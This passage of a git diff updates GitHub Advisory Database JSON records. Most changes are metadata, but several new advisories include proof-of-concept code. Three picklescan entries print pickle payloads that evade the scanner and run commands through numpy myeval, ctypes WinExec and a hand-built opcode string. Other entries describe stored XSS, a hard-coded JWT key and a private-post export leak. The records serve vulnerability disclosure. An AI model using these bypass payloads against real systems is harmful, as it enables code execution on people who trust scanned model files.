+59,10 @@ { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2025/11/msg00017.html" + }, + { + "type": "WEB", + "url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00005.html" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/11/GHSA-xh5w-g8gq-r3v9/GHSA-xh5w-g8gq-r3v9.json b/advisories/github-reviewed/2025/11/GHSA-xh5w-g8gq-r3v9/GHSA-xh5w-g8gq-r3v9.json index a5a318722bf6d..d417490113dab 100644 --- a/advisories/github-reviewed/2025/11/GHSA-xh5w-g8gq-r3v9/GHSA-xh5w-g8gq-r3v9.json +++ b/advisories/github-reviewed/2025/11/GHSA-xh5w-g8gq-r3v9/GHSA-xh5w-g8gq-r3v9.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-xh5w-g8gq-r3v9", - "modified": "2025-12-22T12:30:20Z", + "modified": "2026-01-12T03:31:07Z", "published": "2025-11-24T18:31:14Z", "aliases": [ "CVE-2025-13609" @@ -68,6 +68,10 @@ "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:23852" }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0429" + }, { "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2025-13609" diff --git a/advisories/github-reviewed/2025/12/GHSA-2267-xqcf-gw2m/GHSA-2267-xqcf-gw2m.json b/advisories/github-reviewed/2025/12/GHSA-2267-xqcf-gw2m/GHSA-2267-xqcf-gw2m.json new file mode 100644 index 0000000000000..25a1311acb7cf --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-2267-xqcf-gw2m/GHSA-2267-xqcf-gw2m.json @@ -0,0 +1,103 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2267-xqcf-gw2m", + "modified": "2026-01-02T22:51:51Z", + "published": "2025-12-30T20:52:21Z", + "aliases": [ + "CVE-2025-69210" + ], + "summary": "FacturaScripts is Vulnerable to Stored Cross-Site Scripting (XSS) via XML File Upload", + "details": "A stored cross-site scripting (XSS) vulnerability exists in the product file upload functionality.\n\nAuthenticated users can upload crafted XML files containing executable JavaScript. These files are later rendered by the application without sufficient sanitization or content-type enforcement, allowing arbitrary JavaScript execution when the file is accessed.\n\nBecause product files uploaded by regular users are visible to administrative users, this vulnerability can be leveraged to execute malicious JavaScript in an administrator’s browser session.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "facturascripts/facturascripts" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2025.7" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 2025.4" + } + }, + { + "package": { + "ecosystem": "Packagist", + "name": "facturascripts/facturascripts" + }, + "versions": [ + "2025.11" + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "facturascripts/facturascripts" + }, + "versions": [ + "2025.41" + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "facturascripts/facturascripts" + }, + "versions": [ + "2025.43" + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-2267-xqcf-gw2m" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69210" + }, + { + "type": "WEB", + "url": "https://github.com/NeoRazorX/facturascripts/commit/e908ade21c84bdc9d51190057482316730c66146" + }, + { + "type": "WEB", + "url": "https://facturascripts.com/publicaciones/ya-disponible-facturascripts-2025-7" + }, + { + "type": "PACKAGE", + "url": "https://github.com/NeoRazorX/facturascripts" + }, + { + "type": "WEB", + "url": "https://github.com/NeoRazorX/facturascripts/releases/tag/v2025.7" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T20:52:21Z", + "nvd_published_at": "2025-12-30T20:16:01Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-2cgv-28vr-rv6j/GHSA-2cgv-28vr-rv6j.json b/advisories/github-reviewed/2025/12/GHSA-2cgv-28vr-rv6j/GHSA-2cgv-28vr-rv6j.json index 8d659cdd866a8..8c76520d3232d 100644 --- a/advisories/github-reviewed/2025/12/GHSA-2cgv-28vr-rv6j/GHSA-2cgv-28vr-rv6j.json +++ b/advisories/github-reviewed/2025/12/GHSA-2cgv-28vr-rv6j/GHSA-2cgv-28vr-rv6j.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-2cgv-28vr-rv6j", - "modified": "2025-12-04T17:24:23Z", + "modified": "2026-02-17T22:00:42Z", "published": "2025-12-04T17:24:23Z", "aliases": [], "summary": "libcrux incorrectly calculates on aarch64", @@ -34,6 +34,50 @@ "versions": [ "0.0.3" ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "libcrux-ml-kem" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.0.3" + }, + { + "fixed": "0.0.4" + } + ] + } + ], + "versions": [ + "0.0.3" + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "libcrux-ml-dsa" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.0.3" + }, + { + "fixed": "0.0.4" + } + ] + } + ], + "versions": [ + "0.0.3" + ] } ], "references": [ diff --git a/advisories/github-reviewed/2025/12/GHSA-3329-ghmp-jmv5/GHSA-3329-ghmp-jmv5.json b/advisories/github-reviewed/2025/12/GHSA-3329-ghmp-jmv5/GHSA-3329-ghmp-jmv5.json new file mode 100644 index 0000000000000..f5d34cea921e9 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-3329-ghmp-jmv5/GHSA-3329-ghmp-jmv5.json @@ -0,0 +1,63 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3329-ghmp-jmv5", + "modified": "2025-12-29T20:04:09Z", + "published": "2025-12-29T20:04:09Z", + "aliases": [], + "summary": "Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran.myeval", + "details": "### Summary\nPicklescan uses numpy.f2py.crackfortran.myeval, which is a function in numpy to execute remote pickle files.\n\n### Details\nThe attack payload executes in the following steps:\n\n- First, the attacker crafts the payload by calling the numpy.f2py.crackfortran.myeval function in its reduce method\n- Then, when the victim checks whether the pickle file is safe by using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.\n\n### PoC\n```\nclass RCE:\n def __reduce__(self):\n from numpy.f2py.crackfortran import myeval\n return (myeval, (\"os.system('ls')\",))\n```\n\n\n### Impact\nAny organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nAttackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Report by\nPinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3329-ghmp-jmv5" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-94" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T20:04:09Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-3677-xxcr-wjqv/GHSA-3677-xxcr-wjqv.json b/advisories/github-reviewed/2025/12/GHSA-3677-xxcr-wjqv/GHSA-3677-xxcr-wjqv.json index a8b06da6da945..dabc8b2acba60 100644 --- a/advisories/github-reviewed/2025/12/GHSA-3677-xxcr-wjqv/GHSA-3677-xxcr-wjqv.json +++ b/advisories/github-reviewed/2025/12/GHSA-3677-xxcr-wjqv/GHSA-3677-xxcr-wjqv.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-3677-xxcr-wjqv", - "modified": "2025-12-18T15:34:32Z", + "modified": "2026-01-06T19:46:21Z", "published": "2025-12-17T18:31:33Z", "aliases": [ "CVE-2024-29371" ], "summary": "jose4j is vulnerable to DoS via compressed JWE content", - "details": "In jose4j before 0.9.5, an attacker can cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.", + "details": "In jose4j before 0.9.6, an attacker can cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.", "severity": [ { "type": "CVSS_V3", @@ -28,7 +28,7 @@ "introduced": "0" }, { - "fixed": "0.9.5" + "fixed": "0.9.6" } ] } diff --git a/advisories/github-reviewed/2025/12/GHSA-3f5f-xgrj-97pf/GHSA-3f5f-xgrj-97pf.json b/advisories/github-reviewed/2025/12/GHSA-3f5f-xgrj-97pf/GHSA-3f5f-xgrj-97pf.json index 5beef2d6be253..1bc7d4f9efd91 100644 --- a/advisories/github-reviewed/2025/12/GHSA-3f5f-xgrj-97pf/GHSA-3f5f-xgrj-97pf.json +++ b/advisories/github-reviewed/2025/12/GHSA-3f5f-xgrj-97pf/GHSA-3f5f-xgrj-97pf.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-3f5f-xgrj-97pf", - "modified": "2025-12-16T22:35:40Z", + "modified": "2026-01-07T14:54:59Z", "published": "2025-12-16T22:35:40Z", "aliases": [ "CVE-2025-68150" @@ -28,7 +28,7 @@ "introduced": "9.0.0" }, { - "fixed": "9.1.1.alpha.1" + "fixed": "9.1.1-alpha.1" } ] } diff --git a/advisories/github-reviewed/2025/12/GHSA-43h9-hc38-qph5/GHSA-43h9-hc38-qph5.json b/advisories/github-reviewed/2025/12/GHSA-43h9-hc38-qph5/GHSA-43h9-hc38-qph5.json new file mode 100644 index 0000000000000..3a7629b91c763 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-43h9-hc38-qph5/GHSA-43h9-hc38-qph5.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-43h9-hc38-qph5", + "modified": "2025-12-29T20:36:20Z", + "published": "2025-12-27T15:30:17Z", + "aliases": [ + "CVE-2025-15107" + ], + "summary": "SQLE's JWT Secret Handler can be manipulated to use hard-coded cryptographic key", + "details": "A security vulnerability has been detected in actiontech sqle up to 4.2511.0. The impacted element is an unknown function of the file sqle/utils/jwt.go of the component JWT Secret Handler. The manipulation of the argument JWTSecretKey leads to use of hard-coded cryptographic key.\n\nThe attack is possible to be carried out remotely. The attack's complexity is rated as high. The exploitability is regarded as difficult. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report and is planning to fix this flaw in an upcoming release.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/actiontech/sqle" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "4.2511.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15107" + }, + { + "type": "WEB", + "url": "https://github.com/actiontech/sqle/issues/3186" + }, + { + "type": "PACKAGE", + "url": "https://github.com/actiontech/sqle" + }, + { + "type": "WEB", + "url": "https://github.com/actiontech/sqle/blob/4714f83f33e0d7aa647036eb756e928aa4174014/sqle/utils/jwt.go#L9" + }, + { + "type": "WEB", + "url": "https://github.com/actiontech/sqle/milestone/53" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?ctiid.338478" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?id.338478" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?submit.710380" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-321", + "CWE-798" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T20:36:20Z", + "nvd_published_at": "2025-12-27T13:15:39Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-4675-36f9-wf6r/GHSA-4675-36f9-wf6r.json b/advisories/github-reviewed/2025/12/GHSA-4675-36f9-wf6r/GHSA-4675-36f9-wf6r.json new file mode 100644 index 0000000000000..0caf84c95dbbc --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-4675-36f9-wf6r/GHSA-4675-36f9-wf6r.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4675-36f9-wf6r", + "modified": "2025-12-29T15:23:49Z", + "published": "2025-12-29T15:23:49Z", + "aliases": [], + "summary": "Picklescan does not block ctypes", + "details": "### Summary\nPicklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to\n* Load DLLs\n* Call C functions directly\n* Manipulate memory raw pointers.\n\nThis can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.\n\nThis is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected\n\n### PoC\n```python\nimport pickle\nimport ctypes\nimport operator\n\nclass Kernel32Loader:\n def __reduce__(self):\n #we go direct to the kerneeellllllll\n return (ctypes.WinDLL, (\"kernel32.dll\",))\n\nclass WinExecGetter:\n def __reduce__(self):\n return (operator.itemgetter(\"WinExec\"), (Kernel32Loader(),))\n\nclass PopCalc:\n def __reduce__(self):\n #methodcaller to invoke \"__call__\" on the function pointer.\n return (\n operator.methodcaller(\"__call__\", b\"calc.exe\", 1), \n (WinExecGetter(),)\n )\n\ntry:\n payload = pickle.dumps(PopCalc())\n \n with open(\"calc_exploit.pkl\", \"wb\") as f:\n f.write(payload)\n \n print(\"Generated 'calc_exploit.pkl'\")\n\nexcept Exception as e:\n print(f\"Generation failed: {e}\")\n```\nThis will create a pickle file which is not detected by the latest version of picklescan as malicious\n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"calc_exploit.pkl\", \"rb\"))\n```\n\n\"image\"", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-184", + "CWE-913" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T15:23:49Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-46h3-79wf-xr6c/GHSA-46h3-79wf-xr6c.json b/advisories/github-reviewed/2025/12/GHSA-46h3-79wf-xr6c/GHSA-46h3-79wf-xr6c.json new file mode 100644 index 0000000000000..47c73fb252d40 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-46h3-79wf-xr6c/GHSA-46h3-79wf-xr6c.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-46h3-79wf-xr6c", + "modified": "2025-12-30T15:24:00Z", + "published": "2025-12-30T15:24:00Z", + "aliases": [], + "summary": "Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter", + "details": "### Summary\nPicklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.\n\n### Details\nThe attack payload executes in the following steps:\n\n- First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.\n- Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.\n\n### PoC\n```\nimport pickle\nimport pickletools\nopcode3 = b'''cbuiltins\n__import__\n(Vos\ntRp0\n0c_operator\nattrgetter\n(Vsystem\ntR(g0\ntR(Vecho \"pwned by _operator.attrgetter\"\ntR.'''\npickletools.dis(opcode3)\npickle.loads(opcode3)\n```\nThis PoC can't be easily create by pickle.dumps, so it was manually built. \n\n### Impact\nAny organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nAttackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Report by\nPinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.34" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-46h3-79wf-xr6c" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/f2dea43e0c838e09ace1e62994143254b51de927" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.34" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502", + "CWE-94" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T15:24:00Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-46j5-6fg5-4gv3/GHSA-46j5-6fg5-4gv3.json b/advisories/github-reviewed/2025/12/GHSA-46j5-6fg5-4gv3/GHSA-46j5-6fg5-4gv3.json index 36462d017bab6..b69bd5b78c607 100644 --- a/advisories/github-reviewed/2025/12/GHSA-46j5-6fg5-4gv3/GHSA-46j5-6fg5-4gv3.json +++ b/advisories/github-reviewed/2025/12/GHSA-46j5-6fg5-4gv3/GHSA-46j5-6fg5-4gv3.json @@ -1,13 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-46j5-6fg5-4gv3", - "modified": "2025-12-18T22:43:39Z", + "modified": "2026-02-03T17:37:53Z", "published": "2025-12-18T09:30:30Z", - "aliases": [ - "CVE-2025-14874" - ], - "summary": "Nodemailer is vulnerable to DoS through Uncontrolled Recursion", - "details": "A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.", + "withdrawn": "2026-02-03T17:37:53Z", + "aliases": [], + "summary": "Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion", + "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.\n\n## Original Description\nA flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2025/12/GHSA-496g-mmpw-j9x3/GHSA-496g-mmpw-j9x3.json b/advisories/github-reviewed/2025/12/GHSA-496g-mmpw-j9x3/GHSA-496g-mmpw-j9x3.json index efbfbe4f42909..f3523016f0935 100644 --- a/advisories/github-reviewed/2025/12/GHSA-496g-mmpw-j9x3/GHSA-496g-mmpw-j9x3.json +++ b/advisories/github-reviewed/2025/12/GHSA-496g-mmpw-j9x3/GHSA-496g-mmpw-j9x3.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-496g-mmpw-j9x3", - "modified": "2025-12-20T02:26:22Z", + "modified": "2026-01-06T22:41:20Z", "published": "2025-12-15T20:55:27Z", "aliases": [ "CVE-2025-66402" @@ -9,6 +9,10 @@ "summary": "misskey.js's export data contains private post data", "details": "### Summary\n\nAfter adding private posts (followers, direct) that you do not have permission to view to your favorites or clips, you can export them to view the contents of the private posts.\n\n### PoC\n\n1. Create an account (X) for testing and an account (Y) for private posts on the same server.\n2. Send appropriate content from Y using \"Follow\"\n3. Send appropriate content to any user using \"Nominate\" from Y\n4. Obtain the URLs for the two posts above using Y's account.\n5. Query the URLs for the two posts using X and add them to your favorites or clips.\n6. Export your favorites or clips using X.\n7. Check the exported data.\n\nNote: Verified in v2025.11.1\n\n### Impact\n\nThis could allow an attacker to view the contents of private posts.\nIf you have pinned private posts, this could be a real problem, as the ID of the private post can be obtained by viewing the user page on the original server.", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" diff --git a/advisories/github-reviewed/2025/12/GHSA-4f99-4q7p-p3gh/GHSA-4f99-4q7p-p3gh.json b/advisories/github-reviewed/2025/12/GHSA-4f99-4q7p-p3gh/GHSA-4f99-4q7p-p3gh.json index ea78fbe79f75d..64d879ef47af9 100644 --- a/advisories/github-reviewed/2025/12/GHSA-4f99-4q7p-p3gh/GHSA-4f99-4q7p-p3gh.json +++ b/advisories/github-reviewed/2025/12/GHSA-4f99-4q7p-p3gh/GHSA-4f99-4q7p-p3gh.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-4f99-4q7p-p3gh", - "modified": "2025-12-05T02:27:47Z", + "modified": "2026-01-21T16:20:52Z", "published": "2025-12-04T21:31:04Z", "aliases": [ "CVE-2025-65637" diff --git a/advisories/github-reviewed/2025/12/GHSA-4fh9-h7wg-q85m/GHSA-4fh9-h7wg-q85m.json b/advisories/github-reviewed/2025/12/GHSA-4fh9-h7wg-q85m/GHSA-4fh9-h7wg-q85m.json index ce5919aaac04e..c763ca26bfc3f 100644 --- a/advisories/github-reviewed/2025/12/GHSA-4fh9-h7wg-q85m/GHSA-4fh9-h7wg-q85m.json +++ b/advisories/github-reviewed/2025/12/GHSA-4fh9-h7wg-q85m/GHSA-4fh9-h7wg-q85m.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-4fh9-h7wg-q85m", - "modified": "2025-12-02T01:25:46Z", + "modified": "2026-02-06T19:00:13Z", "published": "2025-12-02T01:25:46Z", "aliases": [ "CVE-2025-66400" @@ -9,6 +9,10 @@ "summary": "mdast-util-to-hast has unsanitized class attribute", "details": "### Impact\n\nMultiple (unprefixed) classnames could be added in markdown source by using character references.\nThis could make rendered user supplied markdown `code` elements appear like the rest of the page.\nThe following markdown:\n\n````markdown\n```js xss\n```\n````\n\nWould create `
    `\nIf your page then applied `.xss` classes (or listeners in JS), those apply to this element.\nFor more info see \n\n### Patches\n\nThe bug was patched. When using regular semver, run `npm install`. For exact ranges, make sure to use `13.2.1`.\n\n### Workarounds\n\nUpdate.\n\n### References\n\n* bug introduced in https://github.com/syntax-tree/mdast-util-to-hast/commit/6fc783ae6abdeb798fd5a68e7f3f21411dde7403\n* bug fixed in https://github.com/syntax-tree/mdast-util-to-hast/commit/ab3a79570a1afbfa7efef5d4a0cd9b5caafbc5d7", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" diff --git a/advisories/github-reviewed/2025/12/GHSA-4hx9-48xh-5mxr/GHSA-4hx9-48xh-5mxr.json b/advisories/github-reviewed/2025/12/GHSA-4hx9-48xh-5mxr/GHSA-4hx9-48xh-5mxr.json index 53da04f9f47ce..dfa708470902d 100644 --- a/advisories/github-reviewed/2025/12/GHSA-4hx9-48xh-5mxr/GHSA-4hx9-48xh-5mxr.json +++ b/advisories/github-reviewed/2025/12/GHSA-4hx9-48xh-5mxr/GHSA-4hx9-48xh-5mxr.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-4hx9-48xh-5mxr", - "modified": "2025-12-19T21:31:05Z", + "modified": "2026-02-17T17:48:45Z", "published": "2025-12-19T21:31:05Z", "aliases": [ "CVE-2025-13467" @@ -25,7 +25,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "26.3.0" }, { "fixed": "26.4.6" @@ -33,6 +33,25 @@ ] } ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.keycloak:keycloak-ldap-federation" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "26.2.11" + } + ] + } + ] } ], "references": [ @@ -52,6 +71,10 @@ "type": "WEB", "url": "https://github.com/keycloak/keycloak/commit/754c070cf8ca187dcc71f0f72ff3130ff2195328" }, + { + "type": "WEB", + "url": "https://github.com/keycloak/keycloak/commit/b90fec41ff17a70858d830750156a8a2e13ddb82" + }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:22088" diff --git a/advisories/github-reviewed/2025/12/GHSA-4jj9-cgqc-x9h5/GHSA-4jj9-cgqc-x9h5.json b/advisories/github-reviewed/2025/12/GHSA-4jj9-cgqc-x9h5/GHSA-4jj9-cgqc-x9h5.json index 892c93fb27a0f..d9e953f93a0bf 100644 --- a/advisories/github-reviewed/2025/12/GHSA-4jj9-cgqc-x9h5/GHSA-4jj9-cgqc-x9h5.json +++ b/advisories/github-reviewed/2025/12/GHSA-4jj9-cgqc-x9h5/GHSA-4jj9-cgqc-x9h5.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-4jj9-cgqc-x9h5", - "modified": "2025-12-18T01:06:03Z", + "modified": "2026-01-08T20:51:32Z", "published": "2025-12-12T19:22:04Z", "aliases": [ "CVE-2025-66001" @@ -40,10 +40,18 @@ "type": "WEB", "url": "https://github.com/neuvector/neuvector/security/advisories/GHSA-4jj9-cgqc-x9h5" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66001" + }, { "type": "WEB", "url": "https://github.com/neuvector/neuvector/commit/955904b5762f296d209bf395a5fcc7a40a53c424" }, + { + "type": "WEB", + "url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-66001" + }, { "type": "PACKAGE", "url": "https://github.com/neuvector/neuvector" @@ -56,6 +64,6 @@ "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-12-12T19:22:04Z", - "nvd_published_at": null + "nvd_published_at": "2026-01-08T11:15:43Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-4jmp-x7mh-rgmr/GHSA-4jmp-x7mh-rgmr.json b/advisories/github-reviewed/2025/12/GHSA-4jmp-x7mh-rgmr/GHSA-4jmp-x7mh-rgmr.json index 6b0b27a6c5db0..adbaddc9d8aad 100644 --- a/advisories/github-reviewed/2025/12/GHSA-4jmp-x7mh-rgmr/GHSA-4jmp-x7mh-rgmr.json +++ b/advisories/github-reviewed/2025/12/GHSA-4jmp-x7mh-rgmr/GHSA-4jmp-x7mh-rgmr.json @@ -1,11 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-4jmp-x7mh-rgmr", - "modified": "2025-12-18T01:06:46Z", + "modified": "2026-01-22T16:10:26Z", "published": "2025-12-12T20:15:03Z", "aliases": [], "summary": "Finality Provider vulnerable to anti-slashing bypassing due to misconfiguration", - "details": "### Summary\n\nThe anti-slashing is not effective if the attacker can access EOTS manager endpoints.\n\n### Impact\n\nIf the EOTS manager endpoints are open to public without HMAC protection, the attacker can manually cause slashing of the finality provider through the RPC endpoints", + "details": "### Summary\n\nThe anti-slashing is not effective if the attacker can access EOTS manager endpoints.\n\n### Impact\n\nIf the EOTS manager endpoints are open to public without 